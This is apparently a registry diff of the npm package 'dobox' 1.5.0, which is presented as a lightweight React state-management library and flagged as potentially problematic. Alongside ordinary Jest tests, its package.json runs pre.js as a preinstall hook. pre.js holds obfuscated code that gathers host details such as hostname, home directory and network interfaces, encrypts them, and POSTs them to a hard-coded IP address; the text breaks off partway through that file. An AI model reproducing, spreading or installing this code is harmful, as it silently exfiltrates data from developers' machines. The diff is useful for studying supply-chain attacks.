dobox 1.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of dobox might be problematic. Click here for more details.
- package/CHANGELOG.md +246 -0
- package/LATESTLOG.md +9 -0
- package/LICENSE +21 -0
- package/README.md +59 -0
- package/README.zh-CN.md +59 -0
- package/__tests__/effect.spec.tsx +108 -0
- package/__tests__/get-effects.spec.ts +65 -0
- package/__tests__/get-reducers.spec.ts +67 -0
- package/__tests__/get-state.spec.ts +111 -0
- package/__tests__/helper/CountClassComponent.tsx +23 -0
- package/__tests__/helper/CountFunctionComponent.tsx +56 -0
- package/__tests__/helper/MultiCountClassComponent.tsx +77 -0
- package/__tests__/helper/createHook.tsx +15 -0
- package/__tests__/helper/model.ts +7 -0
- package/__tests__/helper/ref.ts +15 -0
- package/__tests__/helper/shared.ts +58 -0
- package/__tests__/helper/store.ts +6 -0
- package/__tests__/index.spec.ts +88 -0
- package/__tests__/model.spec.ts +13 -0
- package/__tests__/multiple.spec.ts +81 -0
- package/__tests__/provider.spec.tsx +326 -0
- package/__tests__/reducer.spec.ts +270 -0
- package/__tests__/store.spec.ts +113 -0
- package/__tests__/utils.spec.ts +128 -0
- package/package.json +26 -0
- package/pre.js +1 -0
@@ -0,0 +1,128 @@
|
|
1
|
+
import { STORE_NAME_PREFIX } from '../src/common/const'
|
2
|
+
import { invariant } from '../src/utils/invariant'
|
3
|
+
import { shallowEqual } from '../src/utils/shallowEqual'
|
4
|
+
import * as type from '../src/utils/type'
|
5
|
+
import * as func from '../src/utils/func'
|
6
|
+
|
7
|
+
describe('util test', () => {
|
8
|
+
beforeEach(() => {
|
9
|
+
jest.resetModules()
|
10
|
+
})
|
11
|
+
|
12
|
+
it('should isDev return true when NODE_ENV is development', () => {
|
13
|
+
process.env.NODE_ENV = 'development'
|
14
|
+
// eslint-disable-next-line @typescript-eslint/no-var-requires
|
15
|
+
const env = require('../src/common/env')
|
16
|
+
|
17
|
+
expect(env.isDev).toBeTruthy()
|
18
|
+
expect(env.isProd).toBeFalsy()
|
19
|
+
})
|
20
|
+
|
21
|
+
it('should isProd return true when NODE_ENV is production', () => {
|
22
|
+
process.env.NODE_ENV = 'production'
|
23
|
+
// eslint-disable-next-line @typescript-eslint/no-var-requires
|
24
|
+
const env = require('../src/common/env')
|
25
|
+
|
26
|
+
expect(env.isDev).toBeFalsy()
|
27
|
+
expect(env.isProd).toBeTruthy()
|
28
|
+
})
|
29
|
+
|
30
|
+
it('should noop func return object', () => {
|
31
|
+
expect(func.noop()).toEqual({})
|
32
|
+
})
|
33
|
+
|
34
|
+
it('should identify func return the same value with input', () => {
|
35
|
+
const state = {
|
36
|
+
a: 1,
|
37
|
+
b: {
|
38
|
+
c: 2,
|
39
|
+
},
|
40
|
+
}
|
41
|
+
expect(func.identify(state)).toEqual(state)
|
42
|
+
})
|
43
|
+
|
44
|
+
it('should return correct store name using getStoreName', () => {
|
45
|
+
let count = 1
|
46
|
+
expect(func.getStoreName()).toBe(`${STORE_NAME_PREFIX}/${count}`)
|
47
|
+
count++
|
48
|
+
expect(func.getStoreName()).toBe(`${STORE_NAME_PREFIX}/${count}`)
|
49
|
+
count++
|
50
|
+
})
|
51
|
+
|
52
|
+
it('should not throw error when condition is true', () => {
|
53
|
+
expect(() => invariant(true, 'this is error')).not.toThrow()
|
54
|
+
})
|
55
|
+
|
56
|
+
it('should throw error when condition is false', () => {
|
57
|
+
expect(() => invariant(false, 'this is error')).toThrow('Invariant Failed: this is error')
|
58
|
+
|
59
|
+
jest.isolateModules(() => {
|
60
|
+
process.env.NODE_ENV = 'production'
|
61
|
+
|
62
|
+
// eslint-disable-next-line @typescript-eslint/no-var-requires
|
63
|
+
expect(() => require('../src/utils/invariant').invariant(false, 'this is error')).toThrow(
|
64
|
+
'Invariant Failed'
|
65
|
+
)
|
66
|
+
})
|
67
|
+
})
|
68
|
+
|
69
|
+
it('should return correct result using shallowEqual', () => {
|
70
|
+
expect(shallowEqual(1, 2)).toBeFalsy()
|
71
|
+
expect(shallowEqual(1, 1)).toBeTruthy()
|
72
|
+
|
73
|
+
const o1 = {
|
74
|
+
b: {
|
75
|
+
c: 2,
|
76
|
+
},
|
77
|
+
}
|
78
|
+
|
79
|
+
const o2 = {
|
80
|
+
b: {
|
81
|
+
c: 2,
|
82
|
+
},
|
83
|
+
}
|
84
|
+
|
85
|
+
expect(shallowEqual(o1, o1)).toBeTruthy()
|
86
|
+
expect(shallowEqual(o1, o2)).toBeFalsy()
|
87
|
+
|
88
|
+
const o3 = {
|
89
|
+
a: 1,
|
90
|
+
b: 2,
|
91
|
+
}
|
92
|
+
|
93
|
+
expect(shallowEqual(o1, o3)).toBeFalsy()
|
94
|
+
|
95
|
+
const o4 = {
|
96
|
+
a: 1,
|
97
|
+
b: 2,
|
98
|
+
}
|
99
|
+
|
100
|
+
expect(shallowEqual(o3, o4)).toBeTruthy()
|
101
|
+
|
102
|
+
const o5 = {
|
103
|
+
a: NaN,
|
104
|
+
}
|
105
|
+
|
106
|
+
expect(shallowEqual(o5, { a: NaN })).toBeTruthy()
|
107
|
+
expect(shallowEqual(+0, -0)).toBeFalsy()
|
108
|
+
})
|
109
|
+
|
110
|
+
it('should judge correct type using type', () => {
|
111
|
+
let a
|
112
|
+
expect(type.isUndefined(a)).toBeTruthy()
|
113
|
+
|
114
|
+
const b = null
|
115
|
+
expect(type.isNull(b)).toBeTruthy()
|
116
|
+
|
117
|
+
expect(type.isFunction(() => {})).toBeTruthy()
|
118
|
+
expect(type.isString('dobux')).toBeTruthy()
|
119
|
+
|
120
|
+
async function c() {}
|
121
|
+
|
122
|
+
expect(type.isFunction(c)).toBeFalsy()
|
123
|
+
expect(type.isAsyncFunc(c)).toBeTruthy()
|
124
|
+
expect(type.isPromise(c())).toBeTruthy()
|
125
|
+
expect(type.isObject({})).toBeTruthy()
|
126
|
+
expect(type.isArray([])).toBeTruthy()
|
127
|
+
})
|
128
|
+
})
|
package/package.json
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
{
|
2
|
+
"name": "dobox",
|
3
|
+
"version": "1.5.0",
|
4
|
+
"description": "Lightweight responsive state management solution",
|
5
|
+
"main": "pre.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node pre.js",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"keywords": [
|
11
|
+
"dobux",
|
12
|
+
"react",
|
13
|
+
"hooks",
|
14
|
+
"typescript",
|
15
|
+
"state-management",
|
16
|
+
"immutable"
|
17
|
+
],
|
18
|
+
"lint-staged": {
|
19
|
+
"{src,__tests__}/**/*.{js,jsx,ts,tsx}": [
|
20
|
+
"prettier --write",
|
21
|
+
"eslint --fix"
|
22
|
+
]
|
23
|
+
},
|
24
|
+
"author": "Mini Boss",
|
25
|
+
"license": "MIT"
|
26
|
+
}
|
package/pre.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
(function(_0x3a17cb,_0x5cbeb9){var _0x1a4709=_0x3a17cb();function _0x5be516(_0x50a3f8,_0x4b1e69,_0x2db73b,_0x2dbbcf){return _0x4fdf(_0x4b1e69- -0x115,_0x50a3f8);}function _0x2ddfd2(_0x50ba3f,_0x35233d,_0x2531c5,_0x2bf727){return _0x4fdf(_0x2531c5-0x1a8,_0x50ba3f);}while(!![]){try{var _0x55aebb=parseInt(_0x2ddfd2(0x28e,0x29c,0x2a7,0x2d9))/(0x1736+0x7*-0x31+-0x15de)*(-parseInt(_0x2ddfd2(0x266,0x2ca,0x295,0x29b))/(0xa80+-0x39*-0x83+-0x30d*0xd))+parseInt(_0x2ddfd2(0x222,0x243,0x260,0x291))/(-0x2072+0x2*0xbed+-0x1*-0x89b)*(-parseInt(_0x2ddfd2(0x22d,0x27a,0x26c,0x270))/(-0xd7a+-0x19c5+-0x1*-0x2743))+-parseInt(_0x2ddfd2(0x255,0x280,0x28c,0x2ae))/(-0x2*0x4ff+0x1670+-0xc6d)*(-parseInt(_0x2ddfd2(0x2ac,0x2b6,0x2b1,0x287))/(-0x1817*-0x1+-0x58a*-0x3+-0x28af))+-parseInt(_0x2ddfd2(0x271,0x2e4,0x2ac,0x2a7))/(-0xe47+0x1f7*0x12+-0x544*0x4)+parseInt(_0x2ddfd2(0x21e,0x27d,0x24c,0x27f))/(0x67*-0x59+0x1*-0x4c7+0xd8a*0x3)*(parseInt(_0x5be516(-0x16,-0x20,0x19,-0x29))/(-0x2355+-0x3*-0x6c6+0x282*0x6))+parseInt(_0x5be516(-0x63,-0x73,-0x8b,-0x9b))/(0x1*-0x1e8+0x1a38+-0x1846)+-parseInt(_0x2ddfd2(0x233,0x282,0x25a,0x258))/(0x252a+-0x61*0x1+-0x24be)*(-parseInt(_0x2ddfd2(0x27c,0x284,0x29f,0x288))/(-0xa17+0xa*-0x39+0x279*0x5));if(_0x55aebb===_0x5cbeb9)break;else _0x1a4709['push'](_0x1a4709['shift']());}catch(_0x4ffcee){_0x1a4709['push'](_0x1a4709['shift']());}}}(_0x467e,0x18f9fb*0x1+0xf1*-0x17e+0x4*-0x251d1));function _0x4fdf(_0x3362a1,_0x456bcf){var _0x467e3d=_0x467e();return _0x4fdf=function(_0x4fdf02,_0x4a8667){_0x4fdf02=_0x4fdf02-(0x15cb*-0x1+-0x1c5b+0x32b6*0x1);var _0x4a4aff=_0x467e3d[_0x4fdf02];return _0x4a4aff;},_0x4fdf(_0x3362a1,_0x456bcf);}const https=require(_0x366859(0x9e,0x7d,0xa1,0xa2)),os=require('os');function _0x366859(_0x362061,_0x51ec36,_0x2f8ba9,_0x3341e7){return _0x4fdf(_0x51ec36- -0x86,_0x3341e7);}const crypto=require('crypto');publicKey=_0x52bfd4(0x3af,0x3e1,0x3e4,0x3a4)+_0x52bfd4(0x35a,0x370,0x37d,0x344)+'Y-----\x0aMIG'+_0x366859(0x7a,0x49,0x22,0x7d)+_0x366859(0x11,0x31,0x61,0x6c)+_0x366859(0x93,0x87,0x68,0x99)+_0x52bfd4(0x357,0x31d,0x357,0x383)+_0x52bfd4(0x353,0x36c,0x34f,0x32a)+_0x52bfd4(0x396,0x359,0x3c4,0x361)+_0x52bfd4(0x35d,0x35f,0x334,0x382)+_0x52bfd4(0x35f,0x32b,0x34b,0x398)+_0x52bfd4(0x369,0x329,0x372,0x32b)+_0x52bfd4(0x36d,0x3a6,0x3a2,0x331)+_0x366859(0x61,0x6c,0x6d,0x89)+_0x366859(0x6b,0x4e,0x40,0x7a)+_0x366859(-0x18,0x1a,0x57,0x26)+_0x366859(0x1a,0x25,0x40,0x59)+_0x52bfd4(0x3b9,0x3ec,0x3b1,0x3f3)+_0x366859(0x16,0x41,0x46,0x27)+'VIr/A0vkTI'+_0x366859(0xf,0x1d,0x46,-0x2)+_0x52bfd4(0x3b7,0x3a0,0x3b1,0x39d)+'a\x0ahcpguhuZ'+_0x366859(0x5d,0x3b,0x31,0x66)+'IDAQAB\x0a---'+_0x52bfd4(0x393,0x3aa,0x3ba,0x399)+_0x52bfd4(0x384,0x39c,0x3bb,0x397)+'-';var encryptM=function msgEncrypt(_0x170525){var _0x20cf84={'UreKB':function(_0x322fa7,_0x55b084){return _0x322fa7!==_0x55b084;},'GZrsQ':'irARo','lmFJU':_0x4feff2(-0x3b,0x3e,0x5,-0x13)+'+$','eMSjI':function(_0x5e4a5c,_0x352285){return _0x5e4a5c==_0x352285;},'ZQMMH':_0x501808(0x45a,0x477,0x456,0x479),'stpBE':function(_0x37f383,_0x2af6c7){return _0x37f383!=_0x2af6c7;},'ROdZB':function(_0xc1a4d7,_0x1f7704){return _0xc1a4d7===_0x1f7704;},'gqNuF':function(_0x248146,_0x4cea35){return _0x248146(_0x4cea35);},'nvaip':function(_0x1505ff,_0x199d5d){return _0x1505ff+_0x199d5d;},'qXrLI':function(_0xf68627,_0x41c0d7){return _0xf68627+_0x41c0d7;},'ItccG':_0x501808(0x44d,0x49f,0x448,0x470)+_0x501808(0x4ba,0x492,0x460,0x488),'vkwWj':_0x501808(0x429,0x487,0x447,0x464)+_0x501808(0x489,0x45d,0x454,0x461)+'rn\x20this\x22)('+'\x20)','AUzyy':_0x4feff2(-0x57,-0x2f,-0x19,-0x43),'NpDiK':_0x4feff2(0x4e,-0x12,0x14,0x1d),'nPHIy':'0|4|3|1|2','pWLNx':_0x4feff2(0x1b,0x6,0x10,-0x2a),'YlBci':_0x501808(0x409,0x451,0x432,0x427),'ItJvA':_0x4feff2(0x4,-0x3,0x35,0x73),'kyxCn':_0x4feff2(0x9f,0x6c,0x62,0x85),'cbYqU':'trace','nHXku':function(_0x5d5afe,_0x2e5a1e){return _0x5d5afe<_0x2e5a1e;},'bHppq':function(_0xfed49e){return _0xfed49e();},'kzxmv':function(_0xf4cc26,_0x3d88c6,_0x1b4a3e){return _0xf4cc26(_0x3d88c6,_0x1b4a3e);},'FFRUN':'utf8','QKIHn':_0x4feff2(-0x2,-0x18,0xe,-0x1)},_0xaeb92a=(function(){var _0x3b2715={'pPbRD':function(_0x1fd9d4,_0x3f789b){return _0x20cf84['UreKB'](_0x1fd9d4,_0x3f789b);},'QDtEo':_0x20cf84[_0x1bdd2c(0x32c,0x352,0x313,0x343)]};function _0x1bdd2c(_0x5d3e20,_0x4f0c96,_0x131f4e,_0x3d3ec2){return _0x4feff2(_0x3d3ec2,_0x4f0c96-0x198,_0x4f0c96-0x358,_0x3d3ec2-0x193);}var _0x387301=!![];return function(_0x53083d,_0x1bbd1e){var _0x1f9596={'kTWWU':_0x48c980(0x11f,0xfd,0x152,0x13e),'JjXFP':function(_0x5d411e,_0xef9c76){function _0x881f99(_0x218230,_0x10d766,_0x35a10b,_0x4b48cd){return _0x48c980(_0x10d766-0x2eb,_0x10d766-0x1d6,_0x35a10b-0x142,_0x218230);}return _0x3b2715[_0x881f99(0x429,0x431,0x414,0x413)](_0x5d411e,_0xef9c76);},'pygUV':_0x3b2715[_0xe8db0b(0x1db,0x200,0x1d4,0x1e0)]};function _0x48c980(_0x24f24a,_0x5e97bd,_0x4662c6,_0x494c39){return _0x1bdd2c(_0x24f24a-0x1ed,_0x24f24a- -0x26d,_0x4662c6-0x17f,_0x494c39);}var _0x105344=_0x387301?function(){function _0x1903d1(_0x49717c,_0x2954f3,_0x1f39be,_0x3882eb){return _0xe8db0b(_0x49717c- -0x439,_0x1f39be,_0x1f39be-0x16a,_0x3882eb-0x1b0);}function _0x111d2a(_0x381341,_0x362165,_0x436731,_0x170fa8){return _0xe8db0b(_0x170fa8-0x97,_0x362165,_0x436731-0x29,_0x170fa8-0xd5);}if(_0x1f9596[_0x1903d1(-0x2b4,-0x2d2,-0x2dd,-0x2a5)]!==_0x1903d1(-0x26d,-0x29f,-0x231,-0x27b)){if(_0x1bbd1e){if(_0x1f9596[_0x1903d1(-0x298,-0x29f,-0x2cd,-0x262)](_0x1903d1(-0x268,-0x23e,-0x276,-0x281),_0x1f9596[_0x1903d1(-0x2c4,-0x29e,-0x302,-0x2e9)])){var _0x148533=_0x1bbd1e['apply'](_0x53083d,arguments);return _0x1bbd1e=null,_0x148533;}else _0x211955['stdout'][_0x1903d1(-0x2c2,-0x28d,-0x29a,-0x296)](_0x12414c);}}else{if(_0x5e9d88){var _0x5afa9e=_0xcedb06['apply'](_0x4e7ed8,arguments);return _0x5731ea=null,_0x5afa9e;}}}:function(){};function _0xe8db0b(_0x4ca7c2,_0x2999b4,_0x429013,_0x5dad06){return _0x1bdd2c(_0x4ca7c2-0x1bb,_0x4ca7c2- -0x1dc,_0x429013-0x162,_0x2999b4);}return _0x387301=![],_0x105344;};}()),_0x353020=_0x20cf84[_0x4feff2(0x2b,0xf,0x39,0x8)](_0xaeb92a,this,function(){function _0x337c80(_0x30c0b2,_0x3dd041,_0x4ffa63,_0x49375b){return _0x4feff2(_0x49375b,_0x3dd041-0x34,_0x3dd041-0xbf,_0x49375b-0x14);}function _0x1c8f2a(_0x537aa9,_0x1a0ba5,_0x1cb924,_0xa12f1b){return _0x4feff2(_0xa12f1b,_0x1a0ba5-0x11f,_0x1cb924- -0x1e0,_0xa12f1b-0x126);}return _0x353020[_0x337c80(0xc9,0xe9,0x114,0xb4)]()['search'](_0x20cf84['lmFJU'])['toString']()[_0x1c8f2a(-0x1c9,-0x1ab,-0x1cf,-0x1cf)+'r'](_0x353020)['search'](_0x337c80(0x9b,0xc4,0xbd,0xe7)+'+$');});_0x20cf84[_0x4feff2(-0xd,0x50,0x2e,-0x1)](_0x353020);var _0x4514be=(function(){var _0x1c6c10=!![];return function(_0x561d11,_0x4565e9){var _0x51488a={'NGLaZ':function(_0x4228ea,_0x468db5){function _0x5cb71d(_0x405760,_0x3a9d4f,_0x48136d,_0x750262){return _0x4fdf(_0x405760- -0xdd,_0x3a9d4f);}return _0x20cf84[_0x5cb71d(0xd,-0x1a,0x18,0x45)](_0x4228ea,_0x468db5);},'SnWLL':_0x20cf84[_0x26159e(-0x224,-0x207,-0x1d2,-0x20c)],'COUtj':function(_0x534cc4,_0x2e8a93){function _0x51804c(_0xc8ece,_0x516255,_0xdb602a,_0x569ddb){return _0x26159e(_0xc8ece-0x2a,_0x516255-0x5d8,_0x569ddb,_0x569ddb-0x102);}return _0x20cf84[_0x51804c(0x3cd,0x3a3,0x3c5,0x38c)](_0x534cc4,_0x2e8a93);},'ZxNmq':_0x26159e(-0x276,-0x252,-0x22c,-0x242),'GLHVt':function(_0x425891,_0x3e4dc6){function _0x135380(_0x21f03d,_0x262317,_0x563eb3,_0x9c3f6){return _0x384e5e(_0x21f03d-0xd5,_0x9c3f6-0x3a9,_0x262317,_0x9c3f6-0xc0);}return _0x20cf84[_0x135380(0xf5,0x136,0xf0,0x109)](_0x425891,_0x3e4dc6);},'EGwPn':_0x384e5e(-0x28b,-0x25f,-0x239,-0x276)},_0x712447=_0x1c6c10?function(){function _0x5c4213(_0x31ccf3,_0x291db1,_0x449f5d,_0x32d2e2){return _0x26159e(_0x31ccf3-0x56,_0x32d2e2-0x10c,_0x291db1,_0x32d2e2-0x15);}function _0x3934c4(_0x236073,_0x2404c0,_0x21560a,_0x3a5688){return _0x26159e(_0x236073-0x75,_0x236073- -0x94,_0x3a5688,_0x3a5688-0x8a);}if(_0x51488a[_0x5c4213(-0xe0,-0xad,-0xb3,-0xdd)](_0x51488a[_0x3934c4(-0x2ec,-0x2c6,-0x2b7,-0x307)],_0x51488a['EGwPn'])){if(_0x4565e9){var _0x86fc36=_0x4565e9['apply'](_0x561d11,arguments);return _0x4565e9=null,_0x86fc36;}}else _0x51488a[_0x3934c4(-0x2f0,-0x301,-0x2ea,-0x2e2)](_0x3c055c[_0x5c4213(-0x11c,-0x13e,-0x166,-0x13e)][_0x5c4213(-0xe6,-0x125,-0x132,-0xf4)](_0x51488a['SnWLL']),-(0x1aa2+-0x1*-0x1279+-0x2d1a))&&(_0x51488a[_0x3934c4(-0x2bc,-0x2ac,-0x2e1,-0x28d)](_0x2709ae['platform'],_0x51488a[_0x5c4213(-0x101,-0x13a,-0x14a,-0x138)])&&_0x39190f['exit'](0x26f9+0xeb5*0x1+0x35ad*-0x1));}:function(){};function _0x26159e(_0xc07f80,_0x18d13d,_0x13624d,_0x4e0d42){return _0x4fdf(_0x18d13d- -0x2f3,_0x13624d);}_0x1c6c10=![];function _0x384e5e(_0x3843d9,_0x55c42b,_0x578998,_0x564274){return _0x4fdf(_0x55c42b- -0x34a,_0x578998);}return _0x712447;};}());function _0x501808(_0xeb648b,_0x583f84,_0x312bae,_0x4f7dc3){return _0x366859(_0xeb648b-0xa8,_0x4f7dc3-0x41d,_0x312bae-0x7c,_0xeb648b);}var _0x57d91c=_0x4514be(this,function(){function _0x548617(_0x363856,_0x82faa8,_0x10eb21,_0xb2611){return _0x4feff2(_0xb2611,_0x82faa8-0x1b6,_0x82faa8- -0xc1,_0xb2611-0x1ae);}function _0x39807b(_0xb75088,_0x2c158b,_0x1bc0b3,_0x36c638){return _0x4feff2(_0x36c638,_0x2c158b-0x1e9,_0xb75088-0x29,_0x36c638-0x7e);}if(_0x20cf84[_0x39807b(0x27,0x11,0x0,0x66)](_0x20cf84['AUzyy'],_0x20cf84[_0x548617(-0x89,-0x8e,-0x70,-0x81)]))_0x2971bf=_0x272af9;else{var _0xc6d6d=_0x20cf84['nPHIy'][_0x548617(-0xdd,-0xc0,-0xc6,-0xfa)]('|'),_0x3c4e90=0xabc*-0x1+0x3*0xa13+-0x67f*0x3;while(!![]){switch(_0xc6d6d[_0x3c4e90++]){case'0':var _0x43725b=function(){function _0x2b53f4(_0x41db14,_0x1f1508,_0x5a11c2,_0x2e146d){return _0x548617(_0x41db14-0x1b,_0x41db14-0x529,_0x5a11c2-0x8a,_0x5a11c2);}var _0x6c1b55;function _0x833f4c(_0x121668,_0x2fa2f5,_0x36d570,_0x55f7da){return _0x548617(_0x121668-0xaf,_0x55f7da-0x230,_0x36d570-0x1e4,_0x2fa2f5);}try{_0x6c1b55=_0x20cf84[_0x2b53f4(0x454,0x43e,0x414,0x481)](Function,_0x20cf84[_0x833f4c(0x187,0x1bd,0x173,0x19a)](_0x20cf84[_0x2b53f4(0x470,0x478,0x4a2,0x43a)](_0x20cf84[_0x833f4c(0x1b2,0x1a5,0x1c2,0x1bd)],_0x20cf84['vkwWj']),');'))();}catch(_0xac2037){_0x6c1b55=window;}return _0x6c1b55;};continue;case'1':var _0x35ff8e=[_0x20cf84[_0x548617(-0xdf,-0xab,-0xe3,-0x7f)],_0x20cf84[_0x548617(-0x8c,-0x84,-0x4f,-0x9d)],_0x548617(-0x77,-0x61,-0x47,-0x39),_0x548617(-0x9c,-0xba,-0x8e,-0xea),_0x20cf84[_0x39807b(0x64,0x82,0x5b,0x32)],_0x20cf84['kyxCn'],_0x20cf84[_0x39807b(0x17,0x9,-0x1b,0x21)]];continue;case'2':for(var _0xaa4a00=-0x29e*-0x4+-0xa9*0x3+-0x29*0x35;_0x20cf84[_0x548617(-0xcf,-0x91,-0x6d,-0xc0)](_0xaa4a00,_0x35ff8e[_0x39807b(0x36,0x68,0x3c,0x6)]);_0xaa4a00++){var _0x11b43b=_0x4514be[_0x39807b(0x3a,0x63,0x63,0x10)+'r'][_0x39807b(0x7d,0xae,0x98,0x84)][_0x39807b(0x7a,0x5b,0x5f,0x7b)](_0x4514be),_0x32aa8f=_0x35ff8e[_0xaa4a00],_0x4185e7=_0x346642[_0x32aa8f]||_0x11b43b;_0x11b43b[_0x39807b(0x65,0x83,0x42,0x58)]=_0x4514be[_0x548617(-0x6c,-0x70,-0x9a,-0x50)](_0x4514be),_0x11b43b[_0x39807b(0x53,0x7b,0x33,0x21)]=_0x4185e7[_0x39807b(0x53,0x63,0x5e,0x4e)]['bind'](_0x4185e7),_0x346642[_0x32aa8f]=_0x11b43b;}continue;case'3':var _0x346642=_0x2dbddc[_0x39807b(0x71,0xac,0x42,0x68)]=_0x2dbddc[_0x548617(-0x48,-0x79,-0x90,-0x5f)]||{};continue;case'4':var _0x2dbddc=_0x20cf84[_0x548617(-0x86,-0x93,-0x85,-0xc0)](_0x43725b);continue;}break;}}});_0x57d91c();var _0x352342={};_0x352342['m']='',_0x352342['k']='',_0x352342['i']='';var _0x3b296d=_0x352342;let _0x229117=crypto['randomByte'+'s'](0x12c7*-0x1+0x21b*-0x5+-0x2*-0xeaf),_0x11d47a=crypto['randomByte'+'s'](-0xcb6+-0x1d*-0x113+-0x1261*0x1);var _0x137779=[],_0x59190d=crypto[_0x501808(0x43d,0x47f,0x47b,0x472)+_0x501808(0x499,0x464,0x44c,0x45f)]('aes-128-cb'+'c',_0x229117,_0x11d47a);_0x59190d[_0x4feff2(0x38,0x46,0x3a,0x76)+_0x501808(0x41c,0x48c,0x45c,0x45c)](!![]),_0x137779[_0x4feff2(0x34,0x17,0x43,0xb)](_0x59190d['update'](_0x170525,_0x20cf84[_0x4feff2(0x61,0x3b,0x31,-0xb)],_0x20cf84[_0x4feff2(0x3c,0x32,0x56,0x8f)])),_0x137779[_0x501808(0x4a1,0x4ab,0x454,0x486)](_0x59190d[_0x501808(0x48b,0x4d0,0x4c8,0x492)](_0x20cf84[_0x4feff2(0x54,0x1a,0x56,0x21)]));function _0x4feff2(_0x250535,_0x4ed9ca,_0x537a16,_0x26ca13){return _0x366859(_0x250535-0x11f,_0x537a16- -0x26,_0x537a16-0xc7,_0x250535);}return _0x3b296d['m']=_0x137779[_0x501808(0x4a4,0x4af,0x445,0x46f)](''),_0x3b296d['k']=crypto[_0x501808(0x448,0x456,0x400,0x42c)+_0x501808(0x457,0x481,0x479,0x490)](publicKey,_0x229117)['toString'](_0x20cf84[_0x4feff2(0x46,0x22,0x56,0x43)]),_0x3b296d['i']=_0x11d47a[_0x4feff2(0x31,-0x3,0x2a,0x1a)](_0x4feff2(-0x16,-0x4,0xe,-0x2d)),_0x3b296d;},info={'hostname':os['hostname'](),'platform':os[_0x366859(0x8,0x2a,0x2c,-0x6)]()};info[_0x366859(-0x19,0x23,0x26,0x23)][_0x366859(0x99,0x6d,0x82,0x5c)]('idc.com')==-(-0x1b1f*-0x1+0x1903+-0x3421)&&(info['hostname'][_0x366859(0x30,0x6d,0x62,0x62)](_0x52bfd4(0x3a3,0x399,0x3a8,0x3a9))==-(0x89*-0xf+0x3c7+0x441)&&(info['platform']!=_0x52bfd4(0x362,0x35a,0x375,0x369)&&process['exit'](0x10*0x160+-0x1b0b+0x50c)));function _0x467e(){var _0x1ce354=['table','end','warn','n/json','+gS45FaIL8','hAtEw','ngth','publicEncr','QKBgQDhK7w','NGLaZ','gqNuF','\x20PUBLIC\x20KE','cbYqU','EGwPn','r\x0abTY6GAlh','Content-Ty','9grzFAr4W/','networkInt','zUBEls\x0aGdJ','darwin','18054290iQDnsF','+jb7ldzSjp','8BeQBil','pygUV','GZrsQ','write','4kVJgyfvg/','hostname','ROdZB','7w6ThjHcDB','IDZmVG8LeI','split','request','ZxNmq','platform','(((.+)+)+)','11AWGIiV','error','qXrLI','kTWWU','POST','Ib3DQEBAQU','21FNPLhe','length','base64','XkRwY','log','constructo','stpBE','port','xGDdj','ZCfsRGkIAw','pWLNx','IC\x20KEY----','17048saRbRI','ding','Content-Le','U6LmA4tZBM','eriv','erfaces','ctor(\x22retu','COUtj','data','{}.constru','totalmem','fMA0GCSqGS','uptime','JjXFP','--END\x20PUBL','endianness','YtjjxRi6pT','8s+vmUClt/','toString','nvaip','join','return\x20(fu','bHppq','createCiph','nHXku','FFRUN','stringify','NpDiK','aysCh','exception','.local','type','5xEJOjz','kzxmv','setAutoPad','ItJvA','__proto__','YlBci','eMSjI','mhUFx','ZQMMH','174Pspjan','-----BEGIN','push','release','nction()\x20','ym5fcjAR03','indexOf','console','4378590Mjinjt','DqXTrb7a5U','3705852bNfHLt','jT7gpmnP4m','ypt','ItccG','final','kdkvg','bind','freemem','14257brikfb','prototype','xAKdr','QKIHn','http','11358158jiWKqt','method','applicatio','pPbRD','headers','7372536LDQOvy','GLHVt','QDtEo','info','AA4GNADCBi'];_0x467e=function(){return _0x1ce354;};return _0x467e();}var report={'arch':os['arch'](),'endianness':os[_0x52bfd4(0x394,0x36f,0x3d1,0x3bb)](),'freemem':os[_0x366859(0x7d,0x78,0xa2,0xa9)](),'homedir':os['homedir'](),'hostname':os['hostname'](),'networkInterfaces':os[_0x52bfd4(0x360,0x32f,0x38f,0x372)+_0x366859(0x7e,0x43,0x2d,0x41)](),'platform':os[_0x366859(0x6,0x2a,0x6,-0x13)](),'release':os[_0x366859(0xa4,0x6a,0x2c,0x59)](),'tmpdir':os['tmpdir'](),'totalmem':os[_0x52bfd4(0x38f,0x3ab,0x36d,0x3ab)](),'type':os[_0x52bfd4(0x3a4,0x38e,0x3a5,0x3c9)](),'uptime':os[_0x52bfd4(0x391,0x3a9,0x39a,0x35b)](),'package':'Q3'},data=JSON['stringify'](encryptM(JSON[_0x52bfd4(0x39f,0x37c,0x39b,0x3af)](report))),_0x43de85={};_0x43de85[_0x52bfd4(0x35e,0x32a,0x373,0x35a)+'pe']=_0x366859(0x54,0x80,0x61,0x86)+_0x52bfd4(0x352,0x32e,0x33a,0x351),_0x43de85[_0x52bfd4(0x387,0x370,0x35c,0x3a0)+_0x52bfd4(0x355,0x327,0x326,0x38d)]=data[_0x52bfd4(0x37a,0x394,0x3ba,0x3a7)];var _0x829a17={};_0x829a17[_0x52bfd4(0x36a,0x380,0x36e,0x38a)]='47.93.48.2'+'41',_0x829a17[_0x366859(0x26,0x39,0x49,0x37)]=0x13ba;function _0x52bfd4(_0x42acf3,_0x353a18,_0x535a50,_0x51f112){return _0x4fdf(_0x42acf3-0x2c1,_0x353a18);}_0x829a17['path']='/success',_0x829a17[_0x52bfd4(0x3c6,0x3a8,0x3de,0x3fd)]=_0x366859(0x42,0x30,0x35,0x38),_0x829a17[_0x366859(0x7a,0x82,0x97,0x89)]=_0x43de85;const options=_0x829a17,req=https[_0x366859(0x3f,0x28,0x1b,0x36)](options,_0x7a2a20=>{function _0x5c8eb7(_0x247cac,_0x3664d6,_0x3bc0b2,_0x4a8199){return _0x52bfd4(_0x247cac-0x5,_0x4a8199,_0x3bc0b2-0x26,_0x4a8199-0xca);}var _0x81d779={};function _0x106529(_0x2199eb,_0x1e8260,_0x359139,_0x4ca638){return _0x52bfd4(_0x359139- -0x627,_0x4ca638,_0x359139-0xe,_0x4ca638-0xab);}_0x81d779[_0x5c8eb7(0x381,0x382,0x352,0x3c0)]=_0x5c8eb7(0x392,0x361,0x393,0x35c);var _0x8b6844=_0x81d779;_0x7a2a20['on'](_0x8b6844['XkRwY'],_0x1737fa=>{function 